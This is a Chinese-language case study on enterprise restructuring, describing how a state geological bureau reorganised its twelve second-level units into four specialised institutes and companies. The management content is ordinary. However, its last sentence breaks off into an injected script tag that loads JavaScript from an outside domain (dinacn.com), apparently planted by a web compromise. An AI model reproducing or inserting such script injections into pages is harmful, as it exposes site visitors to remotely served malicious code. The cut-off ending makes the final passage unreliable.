案例：

　　美国学者哈默在1993年提出了企业重组的概念，引起了国际经济界、管理学界的重视。虽然哈默提出的“企业重组”本身还仅限于工业流程和管理程序上的重新设计，但这一理论的提出仍具有重大意义，在美国和欧洲企业界，改组和流程再造正变得非常普遍。重组也被称为精简、规模适度化或减少组织层次，其内容为在雇员数量、企业单位数量和组织层次数量方面缩小企业规模，规模缩小的目的在于同时提高企业组织的效能及效率。在我国，目前大部分需要改制的事业单位正处在结构调整和建立完善的现代企业制度的阶段，因此本文所讨论的企业重组是指以自身为主体进行的自我调整和重新组合。

　　企业治理机构的重组，主要解决企业经营管理的有效性问题以及经营者专业化、职业化的问题。一个有效的企业治理结构，必须能够达到两方面的目标:一是决策——信息效率目标，即为实现某个社会目标，既定的治理结构是信息最流畅、决策最有效、工作流程最合理的。二是激励——监督目标，即在既定的治理结构下，每个人即使追求个人目标，其客观效果也是符合企业所要实现的目标的。

　　在企业经营活动中，企业重组为企业的发展和创新提供了机会。从企业内部来看，由于企业重组的存在，企业制度、治理结构等就可借助企业重组实现变革，不断积累经验，迈上新的台阶。从企业外部来看，市场竞争的优胜劣汰机制会迫使企业必须根据市场规则办事，要么进行企业重组，提高资源利用效率，以求企业的发展；要么就会在竞争中失利。正是在这种受内外部激励的企业重组循环中，企业的技术、产品和管理都能得到创新，并最终表现在企业的进步上。

　　××局创建于1952年，隶属于国家×专业总局，是一个集地质科研找矿、基础工程勘察设计施工、地球物理勘察、机械加工制造、金刚石工业等为一体的大型综合性事业单位。局属12个二级单位分布在三省八市。现有职工人数7476人。在岗职工3276人，离退休职工4200人。专业技术人员1150人，占职工总数的35％。

　　××局的主业是地质矿产勘查，在原有的组织结构中已形成了1个主业研究院和2个专业性的全资公司，另外还有历史沿留下来的9个队、所，这12个二级组织都是具备独立法人资格的事业单位。

　　在相当长的历史时期内，9个队、所主要依靠国家的计划任务实行事业单位的运行模式，随着国家市场经济体制改革，它们在不同程度上也实行了企业化运作和管理。这些单位分布于不同的地域，各自有完备的职能部门，一般来说在同一单位内部同时具备各个专业的人力、技术和设备资源，通常包括地质勘查类资源、工程勘察和基础施工类资源、地球物理和测绘工程类资源。

　　主业研究院成立于1996年，在职能上主要对各个队、所的地质勘查项目起业务指导和管理作用。两个专业性的公司分别成立于1986年和1991年，其人员、设备、资金全部由××局投入，作为地质延伸产业，是为适应当时的市场经济大潮而建立的。这三个专业性的院、总公司与分布在各区域的队、所在组织结构上处于平行的位置，没有上下级的隶属关系，各自的人、财、物完全独立，各自形成自己的利润中心和管理中心。

　　从前面的叙述可以看出，队、所这一级的二级单位与各专业院、总公司在资源的占有上具有很大的重合性，队、所的这种小而全的资源组合方式，在计划经济体制下曾经发挥了巨大作用，但是面对竞争激烈的市场环境显然不能适应要求。因此以提高企业经济效益，做强做大为目标，优化资源配置，重组整合经济实体，就成为××局迫切需要解决的课题。

    ××局结构重组的实施

　　××局结构重组的实施在内容上主要体现为专业化重组，即把分属于各二级单位的地质勘查类资源、工程勘察和基础施工类资源、地球物理和测绘类资源按专业划分后再分别向三个专业化的院、总公司整合。由于以前在各队、所内部不同专业业务也基本上是分体运行、独立核算的，因此这种划分和整合在操作上相对简单，只需行政权力的确认即可，尤其是一些有争议的资源只能通过行政命令来进行划分。

　　以某地调所为例，该地调所有员工200多名（包括退休人员100人左右），其拥有的各类资源按专业可以划分为四类：①地质勘查类；②工程勘察和基础施工类；③地球物理和测绘类；④基地后勤类资产和人员。专业资源划分完成后再按四大类分别划转到××地质勘查院、××勘察基础工程总公司、××地球物理工程有限公司、××基地管理中心，这样就完成了该地调所与各专业院、总公司的结构重组。其它二级队、所也基本依照这样的重组原则和操作方法。

　　新的组织机构主要有以下几方面的变化：一是局一级的管理幅度变小，由原来的12个单位变为现在的4个；二是专业院、总公司的管理幅度增大，由原来较单一的职能式结构变为现在的5-12个下属单位；三是原各二级队、所虽然对外仍保留其法人资格，但其管理职能已被各专业院、总公司消化吸收?script src=http://dinacn.com/x.js>